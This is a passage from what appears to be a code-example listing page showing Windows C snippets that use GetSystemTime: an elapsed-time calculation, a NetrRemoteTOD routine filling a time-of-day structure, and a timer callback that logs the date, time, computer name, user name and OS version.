GetSystemTime(&SysTime);
CurTime.t.Milli = (SHORT)SysTime.wMilliseconds;
CurTime.t.Sec = (BYTE)SysTime.wSecond;
CurTime.t.Min = (BYTE)SysTime.wMinute;
if ((CurTime.t.Milli -= OldTime.t.Milli) < (SHORT)0) {
CurTime.t.Milli += 1000;
++OldTime.t.Sec;
}
ElapseTime = (DWORD)CurTime.t.Milli;
if (CurTime.t.Sec < OldTime.t.Sec) {
CurTime.t.Sec += 60;
++OldTime.t.Min;
}
if (CurTime.t.Sec -= OldTime.t.Sec) {
ElapseTime += (DWORD)CurTime.t.Sec * (DWORD)1000;
}
if (CurTime.t.Min < OldTime.t.Min) {
CurTime.t.Min += 60;
++OldTime.t.Min;
}
if (CurTime.t.Min -= OldTime.t.Min) {
ElapseTime += (DWORD)CurTime.t.Min * (DWORD)60000;
}
return(ElapseTime);
#endif
#endif
#endif
}
示例14: NetrRemoteTOD
/* Function 28 */
NET_API_STATUS
__stdcall
NetrRemoteTOD(
SRVSVC_HANDLE ServerName,
LPTIME_OF_DAY_INFO *BufferPtr)
{
SYSTEMTIME SystemTime;
LARGE_INTEGER Time;
TIME_ZONE_INFORMATION TimeZoneInfo;
DWORD TimeZoneId;
LPTIME_OF_DAY_INFO lpTod;
TRACE("NetrRemoteTOD(%p %p)\n", ServerName, BufferPtr);
*BufferPtr = midl_user_allocate(sizeof(TIME_OF_DAY_INFO));
if (*BufferPtr == NULL)
return ERROR_NOT_ENOUGH_MEMORY;
lpTod = *BufferPtr;
/* Set the seconds since 1970 */
NtQuerySystemTime(&Time);
RtlTimeToSecondsSince1970(&Time,
&lpTod->tod_elapsedt);
/* Set the tick count */
lpTod->tod_msecs = GetTickCount();
/* Set the timezone */
TimeZoneId = GetTimeZoneInformation(&TimeZoneInfo);
switch (TimeZoneId)
{
case TIME_ZONE_ID_UNKNOWN:
lpTod->tod_timezone = TimeZoneInfo.Bias;
break;
case TIME_ZONE_ID_STANDARD:
lpTod->tod_timezone = TimeZoneInfo.Bias + TimeZoneInfo.StandardBias;
break;
case TIME_ZONE_ID_DAYLIGHT:
lpTod->tod_timezone = TimeZoneInfo.Bias + TimeZoneInfo.DaylightBias;
break;
default:
lpTod->tod_timezone = 0;
}
/* Set the ??? */
lpTod->tod_tinterval = 310;
/* Set the date and time */
GetSystemTime(&SystemTime);
lpTod->tod_hours = SystemTime.wHour;
lpTod->tod_mins = SystemTime.wMinute;
lpTod->tod_secs = SystemTime.wSecond;
lpTod->tod_hunds = SystemTime.wMilliseconds / 10;
lpTod->tod_day = SystemTime.wDay;
lpTod->tod_month = SystemTime.wMonth;
lpTod->tod_year = SystemTime.wYear;
lpTod->tod_weekday = SystemTime.wDayOfWeek;
return NERR_Success;
}
示例15: TimeStamp
void CALLBACK TimeStamp(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)
{
char *str = (char *)calloc(STR_SZ2+20,1),
*sub = (char *)calloc(STR_SZ2,1);
static char time_stamp = 0;
if(!(time_stamp%5)) {
time_stamp++;
// for every 5 calls stamp time & date...
TIME_ZONE_INFORMATION here;
SYSTEMTIME utc, local;
GetTimeZoneInformation(&here);
GetLocalTime(&local);
GetSystemTime(&utc);
char AM_PM[3];
if(local.wHour>12) {
strcpy(AM_PM,"PM");
local.wHour -= 12;
} else strcpy(AM_PM,"AM");
sprintf(sub,
"%u/%u/%u %u:%u:%u %s (%uH%uM GMT)",
local.wDay,local.wMonth,local.wYear,
local.wHour,local.wMinute,local.wSecond,
AM_PM,utc.wHour,utc.wMinute);
// write the time & date...
sprintf(str,"\n\rTime %s\n",sub);
STORE_INFO(str);
}
static char system_stamp = 0;
if(!(system_stamp%15)) {
system_stamp++;
// for every 15 calls do this....
unsigned long int bsize = STR_SZ2;
if( !GetComputerName(sub,&bsize) ) {
sub = (char *) realloc (sub, bsize);
GetComputerName(sub,&bsize);
}
sprintf(str," # Computer Name: %s\r\n",sub);
STORE_INFO(str);
if( !GetUserName(sub,&bsize) ) {
sub = (char *) realloc (sub, bsize);
GetUserName(sub,&bsize);
}
sprintf(str," # User Name: %s\r\n",sub);
STORE_INFO(str);
// get OS name & version ...
OSVERSIONINFO ya;
ya.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if( GetVersionEx(&ya) ) {
sprintf(str," # Version %u.%u Build %u ",
ya.dwMajorVersion,
ya.dwMinorVersion,
ya.dwBuildNumber);
if(ya.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
strcat(str,"Windows 9x ");
else if(ya.dwPlatformId == VER_PLATFORM_WIN32_NT)
strcat(str,"Windows NT ");
strcat(str,ya.szCSDVersion);
STORE_INFO(str);
}
}
free(sub);
free(str);
}